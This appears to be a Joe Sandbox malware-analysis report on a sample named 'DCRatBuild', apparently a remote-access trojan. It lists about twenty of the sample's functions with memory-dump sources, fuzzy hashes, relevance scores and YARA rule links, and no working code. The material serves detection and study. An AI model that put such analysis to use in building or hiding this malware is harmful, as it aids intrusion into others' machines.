Instruction ID: c0ca17e3475bd38500ef6dfcd48b0ca5eb61e75c389764604cfab62fcc494a32
Opcode Fuzzy Hash: 88a0a9a3103f1ff4f3c5d5440e812232b9e35b4ca4c56f10062b9a5edfd9d5df
Instruction Fuzzy Hash:

Function 00FD5C77 Relevance: .8, Instructions: 800COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6e4fef8a49dcc930715721b7d4fffbd12b6467634e9eef11ded152ea66fbae
Instruction ID: df30c2aba5fccd6b7cb674e1e1152cf1be06896ef4293c936f082ddcab5c77f0
Opcode Fuzzy Hash: 8a6e4fef8a49dcc930715721b7d4fffbd12b6467634e9eef11ded152ea66fbae
Instruction Fuzzy Hash: 59620971604B859FCB25DF38C8906B9BBE2AF55304F0C856FD8AB8B346D634E945EB10

Function 00FD70BF Relevance: .8, Instructions: 773COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 575a8806441ce9a72c04ae9113137d22797e0c306676329538b0a0bf3ae15e30
Instruction ID: 2ad4622f0d5f5679b5a3638eba6784f9c585ba07cb043695a4a1f0819a7cb046
Opcode Fuzzy Hash: 575a8806441ce9a72c04ae9113137d22797e0c306676329538b0a0bf3ae15e30
Instruction Fuzzy Hash: D26248716087869FC719DF28C8806B9FBE2FF45304F18866ED8968B742E334E955EB41

Function 00FCED14 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5448180e84c52624f7729a892eb382d9b2428a7fa06f80140d36ae3f2e7eaf5
Instruction ID: a8e666bde8504bc1491d1ebd198d6638b9085129c0796283b3ea64f54b98ffa9
Opcode Fuzzy Hash: d5448180e84c52624f7729a892eb382d9b2428a7fa06f80140d36ae3f2e7eaf5
Instruction Fuzzy Hash: DE524AB26087058FC718CF19C891A6AF7E1FFCC314F498A2DE98597245D734EA19CB86

Function 00FD6A7B Relevance: .5, Instructions: 509COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 514c984dac6d3ecd44e31e84831f0e1725fc63293392a6c82c30af76cba4b5f6
Instruction ID: e7d3bf2d8f5d6b59b3d0403e31bd34f5197beb2e57416b5a7cdeae520a3a22e4
Opcode Fuzzy Hash: 514c984dac6d3ecd44e31e84831f0e1725fc63293392a6c82c30af76cba4b5f6
Instruction Fuzzy Hash: FC12E4B16047068BC728DF28C990779B3E2FB54308F18892FE597C7B81D778A895EB45

Function 00FCBE13 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d64802f668e7b318a0ae6f9fbcf3a87593982543786e8c849ccbd99f1a2f3949
Instruction ID: 2a01637b21753940aed494a93591238b5c0c584c5091b52211a729ec57237bae
Opcode Fuzzy Hash: d64802f668e7b318a0ae6f9fbcf3a87593982543786e8c849ccbd99f1a2f3949
Instruction Fuzzy Hash: 83F1BF71A083428FC318CF29C685A6ABBE1FFC9714F148A2EF499D7251D730E905DB92

Function 00FE0B43 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 757ab0bf2eedda23f0dea7f74778356c821eca50df4aa604a012b8add7eb9b87
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: E9C1B4366090D30ADF2D463B857413FFAA19AA27B131A076DD4B3CB1D4FE60D5A4FA20

Function 00FE0F78 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: cdf350b9b3502ce1fd600411e0181d545b1ab1225225a5aad004b39cd01ac275
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: D9C191366191D30ADF2D463BC53413FBBA26AA27B131A076DD4B2CB1D5FE20D564FA20

Function 00FE070E Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: d77bfba787a15e3428d3247ed59e6e821aba5a7a5dcafaccc6c9b842298852fb
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 6DC191366091D30AEF2D463BC57413FBAA15AA27B131A076DD4B3CB1C5FE60D5A4FA20

Function 00FD6646 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6d5b2e1ab7dd63b21223c53fdcc1603d81f40c3fd106d18a507aca4acc29b8ac
Instruction ID: 0c564d68960da96d617bc2ea8083cc3908ea863414203e3e4fd283a85026a354
Opcode Fuzzy Hash: 6d5b2e1ab7dd63b21223c53fdcc1603d81f40c3fd106d18a507aca4acc29b8ac
Instruction Fuzzy Hash: D5D1E4B1A043458FDB14CF28C88075ABBE2AF55318F0C456EE884DB742D738E958EB96

Function 00FE02F6 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 5cee75f4d9704478c7dfbd0ce035b3c9548d4ad7ed09c38000d5e892ce921616
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: B9C1A4366091D30ADF2D863B853413FBBA25AA17B131A076DD4B3CB1D5FE60D5A4FA20

Function 00FCE2A0 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccadd80a58e3412e168cd7535febfe6a9b0d19266c4812196c6a1362f295a360
Instruction ID: 4badb94a495c0b2c67b35851109c5dcccc3c0a8db51eefe16beeadd85556ffd4
Opcode Fuzzy Hash: ccadd80a58e3412e168cd7535febfe6a9b0d19266c4812196c6a1362f295a360
Instruction Fuzzy Hash: 88E127755183848FC315CF29D4909AABBF1BF8A300F89095EF5D597342C33AEA19DB62

Function 00FD3A3C Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6a3d46f10441a3051e9d0d7f9b8667803012905bf4d198d95ae77b69715ff4
Instruction ID: e5900a9d26db25ef7934b4c1b4a259acc4ad8002dabde17eb5a4e2350f429ac0
Opcode Fuzzy Hash: 4b6a3d46f10441a3051e9d0d7f9b8667803012905bf4d198d95ae77b69715ff4
Instruction Fuzzy Hash: CA916B716047498BD724EF64DC91BBA73D6BF80304F18092FE69797382DA78A644E743

Function 00FE4969 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4741d87df08a774d362815cd91a954a48b48ab96e8fe602d7fe18f14f072d99
Instruction ID: 940d975a03b0794c6bd8af39e0415fb3616b1d79e9020682006926d963f7edb4
Opcode Fuzzy Hash: d4741d87df08a774d362815cd91a954a48b48ab96e8fe602d7fe18f14f072d99
Instruction Fuzzy Hash: 10617732E807C856CA34DD2B4C55BBF3394EB81B34F10062EE482EB282D518FD42B31A

Function 00FD3D6D Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa2980f550074fd9d5fffc8fceb723f20dffd391df208c388f2810114909e4d
Instruction ID: c5b489c8000fdb8150a37c26af51a4758a8532804201f6cbeaeffb5ad0feb7ed
Opcode Fuzzy Hash: 2fa2980f550074fd9d5fffc8fceb723f20dffd391df208c388f2810114909e4d
Instruction Fuzzy Hash: A0711E71A043494BDB24DF28CCD5F6D77A7AB90304F08492FE6868B3C2DA749689A753

Function 00FE473A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d25a7c413b64cc1c4dee81fed1a27e24b1c019bc61537549567cd7e8aefb3c1
Instruction ID: 5efc9b50a58742dec915a633aa6ce0c18b9221ac972b38854380d162fdcfb4ce
Opcode Fuzzy Hash: 1d25a7c413b64cc1c4dee81fed1a27e24b1c019bc61537549567cd7e8aefb3c1
Instruction Fuzzy Hash: 08516971E00AC456DB38896B8C5ABBF3BC99B47724F18051DE982D7682C308FE41B3D6

Function 00FCDE6C Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c9394ad602e0d57b1e1e0040684fab6937cdb9f37e1453e4118a4817f73ff62
Instruction ID: 3d23011d7e7b31cad4cfe0012d616b0e6348c175f65c2b8503aa1d425126a2d2
Opcode Fuzzy Hash: 5c9394ad602e0d57b1e1e0040684fab6937cdb9f37e1453e4118a4817f73ff62
Instruction Fuzzy Hash: 9E8180A22592D59DC7275F7C38A56F93EA25733301F1840BAC4C5C629BC17F466CEB21

Function 00FCE8A0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd9e22d048260b90aaa1410744273ef134606ccbe04245ad5f48879381839e0
Instruction ID: 56c4b5c4208adb4e386e1233453494879c6b96b53524225e766daf43b7064f72
Opcode Fuzzy Hash: 4fd9e22d048260b90aaa1410744273ef134606ccbe04245ad5f48879381839e0
Instruction Fuzzy Hash: 0A51F3309083D24FC712CF249644A6EBFE0BFDA314F49489EE4D58B212D234D649EB93

Function 00FCF968 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e1440f37e7bb64163305285c6a35a32533e4ffb45183065b719fde1c834258
Instruction ID: a42f388c6d4d04c8dbdd65c4db9d1f0e4129ec51cf5297090ed23e3ade00c6ef
Opcode Fuzzy Hash: 78e1440f37e7bb64163305285c6a35a32533e4ffb45183065b719fde1c834258
Instruction Fuzzy Hash: 92512771A083128BC748CF19D48055AF7E2FF88354F058A2EE899E7740D734E959CB96

Function 00FD37C1 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction ID: 0d2b169b519762c7c7c6d556fe6ea7cb341d647afb5b4fa2ec3c473a381d4476
Opcode Fuzzy Hash: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction Fuzzy Hash: CC3127B2A0470A4FC714DF28CC5266ABBE1FB95314F044A2EE595C7342C738EA49DB92

Function 00FC5F3C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c8366321f37c743a91ed84e6a2b64f859fc8fcfa4243d50090c7e1a981164d3
Instruction ID: 95c2e1c64e923642389ba195b26a4430cf866c14148ed5c7dbe3f739524c6501
Opcode Fuzzy Hash: 8c8366321f37c743a91ed84e6a2b64f859fc8fcfa4243d50090c7e1a981164d3
Instruction Fuzzy Hash: DE210A32A201254BCB48CF2DED919367755AB86321746812FFA42CB3E5C535F964E7A0

Function 00FCDA98 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 236COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00FCDABE

Part of subcall function 00FC400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FC401D

Part of subcall function 00FD1596: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,01000EE8,00000200,00FCD202,00000000,?,00000050,01000EE8), ref: 00FD15B3

_strlen.LIBCMT ref: 00FCDADF
SetDlgItemTextW.USER32(?,00FFE154,?), ref: 00FCDB3F
GetWindowRect.USER32(?,?), ref: 00FCDB79
